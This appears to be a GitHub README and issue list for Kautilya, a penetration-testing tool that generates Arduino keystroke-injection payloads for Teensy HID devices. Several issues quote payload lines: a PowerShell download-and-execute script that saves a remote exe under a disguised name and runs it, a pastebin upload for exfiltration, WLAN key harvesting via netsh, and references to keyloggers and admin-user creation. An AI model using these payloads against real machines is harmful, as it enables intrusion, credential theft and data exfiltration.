Payloads Compatibility

• The Windows payloads and modules are written mostly in powershell (in combination with native commands) and are tested on Windows 7 and Windows 8.

• The Linux payloads are mostly shell scripts (those installed by default) in combination with commands. These are tested on Ubuntu 11.

• The OS X payloads are shell scripts (those installed by default) with usage of native commands. Tested on OS X Lion running on a VMWare

Usage

Run kautilya.rb and follow the menus. Kautilya asks for your inputs for various options. The generated payload is copied to the output directory of Kautilya.

The generated payload is an arduino sketch, ready to be used with Arduino IDE. Burn it to Human Interface Device of your choice and have fun!

Supported Human Interface Devices

In principal Kautilya should work with any HID capable of acting as a keyboard. Kautilya has been tested on Teensy++2.0 and Teensy 3.0 from pjrc.com. Updates about Kautilya can be found most of the times at my blog http://labofapenetrationtester.com/ and google group.

User Group

For any queries, discussions and feedback, post to official google group http://groups.google.com/group/kautilya-users or mail me at nikhil d0t uitrgpv at gmail.com

Bugs and Feature requests

Raise an issue or post to the google group.

Dependencies

Kautilya needs colored, highline and artii (and win32console on Windows) gems. Use

bundle install

to install all the required gems.

Contributing

If you code in Ruby, you can contribute by helping in rebuilding UI of Kautilya. I am trying to make it an interactive shell based tool unlike the current menus based UI.

I am always looking for contributors to Kautilya. Please submit requests or drop me email.

kautilya's Issues

Add support for Digispark

As title suggest, Could you please add support for Digispark? I tried this code on Digispark but no luck.

I think there is something to do with Keyboard library used in your code.

No command for generating shellcode for Rogue AP payload in payloadgen.txt

The issue was reported by @busbauen on twitter.

https://twitter.com/busbauen/status/471288083875659777

output directory

Hi, the output directory to write the speak.ino or ther ino files doesn't exist and it isn't created when trying to write into it.

Tested: Linux ubuntu 64bit

Issue with Teensy 3 and Arduino IDE 1.6.x(1 & 3)

Hello,

I tried several Windows payloads and the code to upload to pastebin seems to have an issue:

• lines like this
  " Keyboard.print("echo pht "https://pastebin.com/api/api_login.php\" "api_dev_key=$dev&api_user_name=$user&api_user_password=$pass" >> %temp%");
  Keyboard.print(filename);
  "
  Always generate a compile error:
  Arduino: 1.6.3 (Linux), TD: 1.22-beta4, Board: "Teensy 3.1, Keyboard + Mouse + Joystick, 96 MHz optimized (overclock), US English"

info.pde:320:20: warning: missing terminating " character [enabled by default]
info:320: error: missing terminating " character
[...]
info.pde: In function 'void pastebin(String)':
info:321: error: expected ')' before ';' token
expected ')' before ';' token

In short there is an issue with the escaping in that string but I can't figure it out.
If I comment out the Keyboard.print line it compiles and uploads.
I narrowed it down to the https:// part of the string - if I remove // it compiles but it won't work obviously.
For the life of me I can't tell what is wrong with that string.

Error in lib/src/exfilmethodsdefs ?

Hi,
first of all thanks for developing Kautilya and for making it freely available!!
I noticed that there may be an error in efilmethodsdefs file and, specifically at line number 99 where you have

Keyboard.print("echo $att = new-object Net.Mail.Attachment("");

while it should be

Keyboard.print("echo $att = new-object Net.Mail.Attachment("")");

am I right?

regards,
Valerio

Reduce space in memory of payloads

I have had a problem with the one of the payload in a small board, I reduced the memory using F("string"); in every command string. Example: Keyboard.println(F("exit")); I think it would be great to add that to the code when it generates.

download_exec.pde terminating with an error

I just found out that download_exec.pde fails telling me the following:

Method invocation failed because [System.Net.WebClient] does not contain a method named 'dlString'.

Seems as if there's no such method but there's a method called DownloadFile.

So I changed the download process to the following, and now it's working:

Keyboard.println("echo $wc = New-Object System.Net.WebClient > %temp%\dl.ps1");
Keyboard.println("echo $destination = "$env:temp\svcde.exe" >> %temp%\dl.ps1");
Keyboard.println("echo $url = "http://live.sysinternals.com/autoruns.exe\" >> %temp%\dl.ps1");
Keyboard.println("echo $wc.DownloadFile($url, $destination) >> %temp%\dl.ps1");
Keyboard.println("echo start-process -nonewwindow "%TEMP%\svcde.exe" >> %temp%\dl.ps1");

Permanent errors on any meny

Looks like:
` 1. Add an admin user
2. Change the default DNS server
3. Edit the hosts file
4. Add a user and Enable RDP
5. Add a user and Enable Telnet
6. Add a user and Enable Powershell Remoting

0. Go back to Main Menu

reason behind the name of the project

Hi Samrat, I am curious to know why this project is called kautilya

cannot start kautilya.

hi,
I installed ruby on windows 7 and tried to start the kautilya by the command
ruby kautilya.rb
and i get this error:

 C:\Users\Zion\Downloads\Kautilya-master\Kautilya-master>ruby kautilya.rb
C:/Ruby192/lib/ruby/site_ruby/1.9.1/rubygems/custom_require.rb:36:in `require':

n `require'
        from kautilya.rb:3:in `<main>'

please help.

thanks in advance.

Powershell script

I tried the exe to text powershell script but it doesn't seem to work or maybe I am doing something wrong.
Can you explain the steps about how to execute the "Download and Execute" payload.
Thanks you.

Rogue AP - Copying Shellcode

Hey,
Kautilya does not copy the whole shellcode from the rogue_ap.txt to the .ino file

http://www.myimg.de/?img=rogueap2ffc6.png

I would prefer if you add a x64 to the msfpayload in the payloadgen.txt.

Issue with wlan_key.ino

Hi,

Thanks for your toolset, it is very helpfull. When I tried to copy some of the wlan_key.ino code into a .ps1 file for testing, I noticed errors due to the following sentence:

" Keyboard.println("echo $w = netsh wlan show profiles ^| sls -Pattern "All User Profile" ^| foreach {$_.ToString()} >> %temp%\wl.ps1"); "

The error was "The term 'sls' is not recognized as the name of a cmdlet, function, script file, or operable program."

It seems that "sls" is unknown on the system I tested it on. It is a basic Win7 system with all current updates. I changed 'sls' to 'Select-String' and then it worked for me.

Code Execution using Powershel

By default this payload's output is incorrect:

http://www.myimg.de/?img=executeshellcode4565a.png

Error execution of payload "Windows Donwload & Execute"

Hi,
my compliments that is very useful.
During my tests I have found an issue with the payload for download and execute one file in windows.
This method use powershell and convert the text to exe.
Maybe some computer administrator can disable it.
For avoid this "issue" I change manually the output of your script and implement some others method.
I would like suggest to you to also add these method:

thank you,

Kautilya porting for Arduino Micro/Leonardo

Hi all,

I recently finished porting Kautilya for Arduino-Micro platform. In order to do this I:

• patched USBCore.cpp and USBAPI.h to include some extra HID features. The Arduino fork with patched implementation is available at https://github.com/valerio-click/Arduino-HID-Plus;
• slightly modified scripts in lib/src to accomodate new payloads compatibile with Arduino-HID-Plus.
  The patch is available at https://github.com/valerio-click/Kautilya-micro.

Hope this can help supporting using Kautilya as a penetration testing tool.

best regards,
click

Keylog not stopping

When I set the value of my txt file on my web server to the string that is supposed to stop the keylogger, it completely ignores it and keeps logging. Any way to stop it?
I have my web server running and permissions are fine. The file can be reached just the program won't stop.
NOTE: The persistent reboot function is not working also.

Error when compiling with Arduino IDE

Hei,

I'm trying to upload code for credentials.ino and I have some struggles.
Any idea why I get compilation errors below?

Thanks in advance,
